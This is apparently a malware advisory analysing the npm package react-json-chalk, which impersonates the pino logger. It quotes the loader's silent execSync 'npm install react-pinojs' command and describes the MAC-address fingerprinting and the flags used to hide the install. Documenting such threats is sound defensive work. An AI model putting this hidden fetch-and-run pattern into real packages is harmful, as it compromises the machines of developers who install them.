react-json-chalknpm

The package is published as react-json-chalk but its main entry (pino.js) impersonates the pino logger (homepage https://getpino.io, bundled pino source tree, misappropriated description). On require('react-json-chalk'), pino.js immediately loads lib/writer.js, which at module top level tries require('react-pinojs') and, if absent, executes child_process.execSync("npm install react-pinojs --no-warnings --no-save --no-progress --loglevel silent") and then require('../../react-pinojs/pino.js'). The flags suppress install output and avoid persisting the dependency in package.json, so consumers get no visible signal that a second package was fetched. The fetched dependency is unpinned, fully controlled by whoever publishes react-pinojs, and its code runs as part of the require() of this package — arbitrary attacker code on the installer's machine on every import. The same lib/writer.js defines getMacAddress() which enumerates non-internal IPv4 interface MAC addresses, consistent with host fingerprinting handed off to the second stage. The package name/contents mismatch (logger source tree under an unrelated name) is also a namespace-abuse / pino-impersonation pattern.